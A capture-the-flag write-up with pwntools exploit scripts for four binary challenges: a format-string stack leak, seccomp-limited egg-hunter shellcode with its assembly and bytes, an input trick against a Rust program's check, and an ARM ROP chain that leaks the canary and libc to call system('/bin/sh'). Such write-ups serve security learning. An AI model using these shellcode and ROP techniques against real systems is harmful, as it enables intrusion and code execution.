PWN:
racecar:
fmtstr to leak the flag on stack
from pwn import *
context(log_level='debug',arch='x86',terminal=['tmux','splitw','-h'])
# io=process("./racecar")
io=remote("188.166.175.58",31520)
elf=ELF("./racecar")
# flag \x0b\x0f
io.sendlineafter(b"Name: ",b"1")
io.sendlineafter(b"Nickname: ",b"1")
io.sendlineafter(b"> ",b"2")
io.sendlineafter(b"> ",b"1")
io.sendlineafter(b"> ",b"2")
# gdb.attach(io)
# pause()
io.sendlineafter(b"> ",b"aaaa%12$x.%13$x.%14$x.%15$x.%16$x.%17$x.%18$x.%19$x.%20$x.%21$x.%22$x.aaaa")
io.recvuntil(b"aaaa")
raw_data=io.recvuntil(b"aaaa",drop=True)
print("raw_data: ",raw_data)
flag=""
nums=["7b425448","5f796877","5f643164","34735f31","745f3376","665f3368","5f67346c","745f6e30","355f3368","6b633474","7d213f"]
for strs in nums:
i = len(strs)-2
while i >= 0:
num = strs[i:i+2]
print(chr(int(num,16)),end="")
i = i-2
# print("flag: ",flag)
io.interactive()
Hunting:
have rwx on stack , while there is some limitation
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x20 0x00 0x00 0x00000000 A = sys_number
0002: 0x35 0x0a 0x00 0x40000000 if (A >= 0x40000000) goto 0013
0003: 0x15 0x09 0x00 0x0000000b if (A == execve) goto 0013
0004: 0x15 0x08 0x00 0x00000166 if (A == execveat) goto 0013
0005: 0x15 0x07 0x00 0x00000127 if (A == openat) goto 0013
0006: 0x15 0x06 0x00 0x00000005 if (A == open) goto 0013
0007: 0x15 0x05 0x00 0x00000006 if (A == close) goto 0013
0008: 0x15 0x04 0x00 0x00000008 if (A == creat) goto 0013
0009: 0x15 0x03 0x00 0x00000056 if (A == uselib) goto 0013
0010: 0x15 0x02 0x00 0x00000002 if (A == fork) goto 0013
0011: 0x15 0x01 0x00 0x000000be if (A == vfork) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
and it has read the flag on a random addr start from 0x5FFFFFFF
,
choose egg hunting as the trick to solve this , basically modified the original asm from here
modified version:
global _start
section .text
_start:
push 0x80
pop ebx ; time
push 0x1b ; system call number (sys_alarm)
pop eax
int 0x80 ; call kernel
mov edi, dword 0x7b425448 ; EGG {BTH
mov edx, 0x5FFFFFFF ; start addr
next_page:
or dx, 0xfff ; dx=4095 ; 0x1000 - 1 (4095) ; Page sizes in Linux x86 = 4096
next_address:
inc edx ; edx = 4096
pusha ; push all of the current general purposes registers onto the stack
xor ecx, ecx ; access arg2 -> 0
lea ebx, [edx + 0x4] ; address to be validated for memory violation
mov al, 0x21 ; access systemcall
int 0x80
cmp al, 0xf2 ; compare return value, bad address = EFAULT (0xf2)
popa ; get all the registers back
jz next_page ; jump to next page if EFAULT occurs
cmp [edx], edi ; compare 1st egg
jnz next_address ; jump to next address if NOT egg
push 0x1
pop ebx ; stdout
mov ecx, edx ; address to write
push 0x50
pop edx ; length
mov al, 0x4 ; system call number (sys_write)
int 0x80 ; call kernel
then we use following commands to dump the shellcode
nasm -f elf32 -o egg.o egg.asm
ld -m elf_i386 egg.o -o egg
objdump -d ./egg | grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
exp:
from pwn import *
context(log_level='debug',arch='x86',os='linux',terminal=['tmux','splitw','-h'])
# io=process("./hunting")
io=remote("188.166.175.58",31599)
elf=ELF("./hunting")
shellcode=b"\x68\x80\x00\x00\x00\x5b\x6a\x1b\x58\xcd\x80\xbf\x48\x54\x42\x7b\xba\xff\xff\xff\x5f\x66\x81\xca\xff\x0f\x42\x60\x31\xc9\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xeb\x39\x3a\x75\xec\x6a\x01\x5b\x89\xd1\x6a\x50\x5a\xb0\x04\xcd\x80"
# gdb.attach(io)
# pause()
io.send(shellcode)
io.interactive()
Oxidized ROP
written by rust , logical vuln and how rust parse our input are key to this chall
in a word we need to fulfil the check
0x55f494f01897 <oxidized_rop::present_config_panel+7> cmp dword ptr [rdi], 1e240h
and the low bytes of [rdi]
will be replaced by a unicode we input in option1 , use the following
# ****
## U+1E240
### [0x1E240](https://numeral.bayashi.net/0x1E240 " - 0x1E240")
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
io=process("./oxidized-rop")
# io=remote("159.65.20.166",30248)
elf=ELF("./oxidized-rop")
# gdb.attach(io)
# pause()
io.sendlineafter(b"Selection: ",b"1")
io.sendlineafter(b" (max 200 characters): ",""*199)
io.sendlineafter(b"Selection: ",b"2")
io.interactive()
Arms roped:
annoying chall without correct libc in docker , 0 out of 10 😅😅😅
several points need to mention:
\x00
cut off when leaking addr- ARM instruction alignment
- disturbing offsets 😅😅😅
from pwn import *
import sys
# remote_addr = ["167.99.82.136",32375]
remote_addr = ["167.99.85.216",31954]
#libc = ELF('')
#elf = ELF('')
if len(sys.argv) == 1:
context.log_level="debug"
io = process(["qemu-arm", "-L", ".", "-g","1234","./arms_roped"])
elf = ELF("./arms_roped")
# libc = ELF("./arm-linux-gnueabihf/lib/libc.so.6")
# io = process(["qemu-arm", "-L", ".", "./rop"])
# io = process("./rop")
context(arch='arm',endian='little',bits='32',os='linux')
context.terminal = ['tmux', 'splitw', '-h']
if len(sys.argv) == 2 :
if 'r' in sys.argv[1]:
context(arch='arm',endian='little',bits='32',os='linux')
io = remote(remote_addr[0],remote_addr[1])
elf = ELF("./arms_roped")
# libc = ELF("./arm-linux-gnueabihf/lib/libc.so.6")
if 'n' not in sys.argv[1]:
context.log_level="debug"
#context(arch = 'amd64', os = 'linux')
### leak canary
payload=b"a"*0x21
io.sendline(payload)
io.recvuntil(b"a"*0x21)
canary=u32(io.recv(3)[-4:].rjust(4,b"\x00"))
log.success("canary: "+hex(canary))
### leak base
payload=b"a"*0x30
io.sendline(payload)
io.recvuntil(b"a"*0x30)
# base_addr=u32(io.recv(4).ljust(4,b"\x00"))+0x40000000-0x948
base_addr=u32(io.recv(4).ljust(4,b"\x00"))-0x948
log.success("base_addr: "+hex(base_addr))
### leak libc
payload=b"a"*0x48
io.sendline(payload)
io.recvuntil(b"a"*0x48)
leak_addr=u32(io.recv(4).ljust(4,b"\x00"))-153-0x1748C
log.success("leak_addr: "+hex(leak_addr))
# sys_addr=leak_addr+0x2F5C8 9.9
sys_addr=leak_addr+0x2F510+1 # alignment
### 0002F510
# str_sh=leak_addr+0x0DCE38 9.9
str_sh=leak_addr+0x0DCE0C
### 00DCE0C
log.success("sys_addr: "+hex(sys_addr))
log.success("str_sh: "+hex(str_sh))
# 0x000009ec: pop {r4, r5, r6, r7, r8, sb, sl, pc};
# 0x000009d8: mov r0, r7; add r4, r4, #1; blx r3;
# 0x0000056c: pop {r3, pc};
mov_all=base_addr+0x9d8
pop_r4_r5_r6_r7_r8_sb_sl_pc=base_addr+0x9ec
pop_r3_pc=base_addr+0x56c
log.success("mov_all: "+hex(mov_all))
log.success("pop_r4_r5_r6_r7_r8_sb_sl_pc: "+hex(pop_r4_r5_r6_r7_r8_sb_sl_pc))
log.success("pop_r3_pc: "+hex(pop_r3_pc))
payload=cyclic(0x20)+p32(canary)+p32(0xdeadbeef)*3
payload+=p32(pop_r4_r5_r6_r7_r8_sb_sl_pc)
payload+=p32(0)*3
payload+=p32(str_sh) # r7->str_sh
payload+=p32(0)*3
payload+=p32(pop_r3_pc)
payload+=p32(sys_addr)+p32(mov_all)
io.sendline(payload)
# io.sendline(b"quit")
io.interactive()